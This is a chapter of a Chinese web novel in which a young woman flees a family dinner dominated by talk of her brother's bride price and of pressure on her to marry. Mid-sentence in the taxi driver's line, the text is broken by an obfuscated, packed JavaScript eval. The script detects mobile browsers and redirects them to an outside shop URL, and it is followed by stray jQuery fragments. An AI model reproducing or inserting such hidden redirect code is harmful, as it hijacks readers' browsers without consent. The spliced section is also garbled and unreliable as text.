16. 第 16 章

作品:《逃离雪夜[双向救赎]

    姜颂缓缓抬眼,见一桌人没人看姜骄,却都在盯着她,仿佛那个即将要结婚的人是她。


    她废了好大的力气才控制住自己没有笑出声来。


    惊讶道:“是吗,什么时候的事呀?”


    “是你王姨介绍的,小姑娘长得不错,也很能干,女方家里要了三十万彩礼和县城的房子还有车,等这些准备齐了就去领证。”姜母道。


    姜颂哦了声表示自己知道了,继续吃饭。


    姜骄欣喜中还掺杂着一丝羞涩,别扭了一会儿,问姜颂:“姐,我的婚礼你会回来参加的吧?”


    姜颂未置可否:“工作不忙的话就回来,太忙我也不好请假。”


    “那也得回来,你个当姐的不回来算怎么回事!”姜父道。


    姜颂淡淡看向他,笑意不达眼底:“那你去跟老板请假好了,反正我是请不下来,万一工作丢了谁会管我。”


    姜父:“你听听你说的是什么话?当初老师当的好好的,还有编制,你任性辞职你怪谁?”


    姜奶奶:“是啊,姜姜,可不能这么跟你爸说话啊。”


    姜彪没说话,好整以暇地围观。


    姜骄皱着眉,看看父亲,又看看姐姐,欲言又止。


    热腾腾的饭菜冒着袅袅热气,听见这句的姜母的心却一下子凉了下去,紧张地看着女儿。


    饭桌上安静得像被静了音,只有姜颂小声咀嚼的声响。


    “好好的吗?”姜颂戳着碗里的米饭,忽然轻声说,“对啊,除了我,你们都好好的。”


    姜母见势不对,眼神示意姜父住嘴,可惜完全拦不住。


    姜父面色铁青:“当老师有什么不好?咱们这孩子少,事也少,还有寒暑假,离家也近,你说说你有什么不满意?”


    姜奶奶:“就是啊,小姑娘家家的,当个老师多好找对象,当初要是答应赵……”


    “省城的公务员不更好吗?”姜颂冷不防地打断。


    此话一出,姜父的怒气像是锅里窜起一丈高的火苗,被人拿了锅盖一下子压了下去。


    姜彪看了姜父一眼。


    姜父抖着的手指着姜颂:“你就是记恨上我了是吗?”


    姜颂什么也不想说,撂下筷子,饭也没吃完,走到一旁拎起包,把一桌人扔在身后,回了房间。


    姜骄叫了姜颂几声,后者也没理他,他埋怨父亲:“爸你这是干嘛啊!”


    “一个女孩子不好好在家待着找个好人嫁了,跑那么远干什么,还动不动就不回来,真是养了个白眼狼……”


    姜颂关上房门,姜父的指责声被隔绝了大半。


    她紧绷的肩膀松下来,打量着这房间里的布置。


    床单是新换过的,地板也很干净,应该是母亲刚打扫过,很整洁。


    只是房间里透着一股子霉味,还堆放了许多杂物,即使已经用布罩遮住,还是让她觉得心口堵得难受。


    她用力闭了闭眼,从口袋里拿出手机。


    外面围绕着姜骄婚事的交谈声不绝于耳。


    “等侄媳妇进门弟妹也可以歇歇了,就是不知道侄媳妇做饭好不好吃。”


    “哎哟,没想到我老太婆还能活到看着我大孙孙娶媳妇,小骄啊,等结了婚可得赶紧生孩子啊,奶奶等着抱重孙子哩!”


    “现在政策放开了,不像生你那会儿,还得躲着藏着的,小骄你们抓紧多生几个,孩子妈帮你带。”


    “听说侄媳妇还是大城市学校毕业的大学生呢,现在有点学历的女人都不乐意生孩子,到时候能听话吗?”


    “哼,又要彩礼又要房车的,陪嫁也没有,还不生孩子?那娶她进门干什么?”


    “小骄啊,你跟那姑娘好好处,最好婚前就让她把孩子怀上,这样我们也放心点。奶奶跟你说,这女人啊,有了孩子就心软,到时候没准彩礼还能少点,钱拿回来你们小两口用着多好。”


    “害,这好办,房车都记在我弟名下就行,我前几天看快手,说现在离婚还能把彩礼要回来,到时候她不生就换一个呗。再说了,我大侄女这么漂亮,找个有钱人嫁了,咱家还能进账一笔呢!”


    ……


    不知过了多久,门外的交谈声渐渐趋于安静。


    姜母端着饭菜推门进来。


    “刚才你都没吃多少,这是妈妈给你留的,不是剩菜,快来吃吧。”


    姜颂坐在床上,盯着小碗里的油爆虾。


    姜母在她身边坐下来:“轩轩今年秋天也去桐市读研了,你平时多照顾照顾他,你舅舅好歹也养了你那么多年,咱们得知恩图报。”


    “嗯。”


    “你别跟你爸生气了,他毕竟是你爸,父女俩有什么不能过去的恩怨呢?”


    “嗯。”


    她什么也不想说。


    “你岁数也不小了,其实你爸他们说得也不错,你早点嫁了也好,只是现在肯定要结在你弟弟后面了,妈都没办法给你多一点的嫁妆。”姜母长吁短叹。


    听到这里,姜颂冷淡的脸色终于有了一点表情,她缓声问:“我就算结在小骄后面,关我的嫁妆什么事呢?”


    “你弟媳妇进门了之后,人家肯定不愿意呗!”


    “你怎么知道?”


    “都是这样的。”


    都是这样的吗?


    姜颂微笑:“没事呀,妈妈,你可以现在把嫁妆钱先给我,这样就不用担心了。”


    “你不结婚我怎么给你?”


    “反正是要给我的,那提前给跟结婚当时给,有什么区别吗?”


    “那不一样……”姜母一时语塞,想要说什么却又不知道怎么说。


    半晌,姜母叹道:“你好不容易回来一趟,咱们不说这些了。”


    “晚上妈妈包饺子,你想吃什么馅的?”


    姜颂没说话,移开目光,看着手机屏幕上司机发来的消息。


    【我到你家门口了,出来吧。】


    那碗油爆虾她终究还是无福消受。


    她起身,拎起背包,挎在单薄的肩上。


    她站在那,跟母亲隔着一段距离:“不用了,我要回去了。”


    姜母闻言不知所措地看着女儿:“不是说好了明天走吗?好不容易回来,怎么这么快就要走?”


    “不为什么,妈妈。”姜颂说,“我要上班——”


    她笑:“给自己攒嫁妆。”


    姜颂不顾阻拦往外走,姜母追在她后面,絮絮叨叨地劝她再留一天。


    姜父醉酒,躺在堂屋呼呼大睡。


    姜骄听见动静,连忙追出去。


    “姐,你别生爸的气了,他那人说话就那样,你好不容易回家一趟,起码住一晚吧,妈知道你要回来提前好几天就在收拾了。”姜骄拉住她的衣角,像小时候每次送她去舅舅家抓着她不想让她离开那样。


    她没什么情绪地看着这个弟弟。


    身后一辆车子缓缓在她面前停下,司机大叔放下玻璃:“姑娘,是你打的车不?”


    姜颂应了一句。


    司机:“真不好意思,本来有个人跟你一块拼车,你俩一人一百五,但是那个人不走了,你要自己坐车的话得付三百


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014413|194113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    姜母听见高昂的打车费,顿时大怒:“你是隔壁村老刘家的吧,去个车站要三百块?穷疯了吧你!”


    “嘿!怎么说话呢,我一直都是这个价格,跑了好多年了。冬天出门的人少,没人拼车我要是按拼车价格收连邮费都赚不回来,那谁有办法?”


    烦躁的情绪在姜颂心底蔓延,渐渐填满整片心房,压迫得她喘不上气。


    三百也好,三千也好,付出什么代价都好,她想要离开这里。


    哪怕提前一秒也好。


    姜母还在纠结车费:“姜姜,这也太贵了,你再住一天吧,明天让小骄送你去,他有车。”


    这一次,姜颂还是拉下弟弟的手,像小时候那样。


    “车还是留给弟媳妇坐吧。”


    她终于笑出了声:“妈妈,回家的代价太贵了,我真的负担不起。回去吧,别送了。”


    姜颂头也没回,径直上了车。


    车子缓缓启动,母亲和弟弟的身影在后视镜里逐渐消失。


    车内,姜颂从包里翻出纸巾,擦掉眼泪。


    那司机一直从镜子里瞟着她。


    以为她是觉得被骗了才哭,他有些抱歉,跟她商量:“姑娘你别哭了,要不这样,你给我二百得了,叔开的油车,真比不上他们电车省钱,起码让叔把油钱赚回来,行不?”


    姜颂摇摇头:“没事,答应了多少就是多少,您不用管我,我哭一会儿就好了。”


    “哦,行,那叔给你放个歌听吧,可别一劲儿哭了。”


    和缓的前奏响起,像摇篮曲。


    温柔的女声低吟浅唱。


    “我的孩子啊,你放心吧,我会是你永远的避风港。”


    姜颂扭头看向窗外飞快倒退的景色,眼泪流下。


    家是避风港吗?


    可为什么她的避风港总是风雨交加?


    又一次,她在这样一个雪天逃离了雨花镇。


    *


    大概是哭累了,从车站下车回小区的路上,姜颂在出租车上睡了一路。


    她头疼得厉害,睡着后梦里还是那些乱七八糟的声音。


    结婚、彩礼、嫁妆、房子、车子、孩子……


    吵得她恶心,眩晕感阵阵袭来。


    一下车,她抱着小区外的垃圾桶吐了个天昏地暗。


    可她胃里早已没了东西,反流的胃酸让她恨不得把五脏六腑一起吐出来。


    她被呛出眼泪,头晕目眩,慢慢蹲在地上,缩成一团。


    她不知道那个素未谋面的女孩是怀揣着怎样的心情同意了她家这门婚事,姜颂不善良地希望对方最好不要付出哪怕一丁点的真情。


    不值得,为了谁都不值得。


    她想,她永远都不要结婚,谁也不值得她把自己的命运交到别人手里,被毫不知情地推到这样可怕的境遇里。


    永远不要。


    绝对不要。


    缓了好久好久,她扶着垃圾桶的边缘站起来。


    穿过雪地的冷风穿透她的身体,她觉得自己一阵发冷一阵发热,难受到什么力气也没有了,不知道自己还能不能好好地爬到楼上的家里。


    拖着虚浮的脚步走到楼下,视野有一瞬的模糊,连楼下照明灯的灯光在她眼里都有了光晕。


    柔和的光晕里,站着身形颀长的男人,穿着驼色羊绒大衣,手里拿着手机,不知在发什么。


    紧接着,姜颂口袋里的手机振动一声。


    似是听见动静,他动作一顿,缓缓转过身,朝她看来。


    “姜姜。”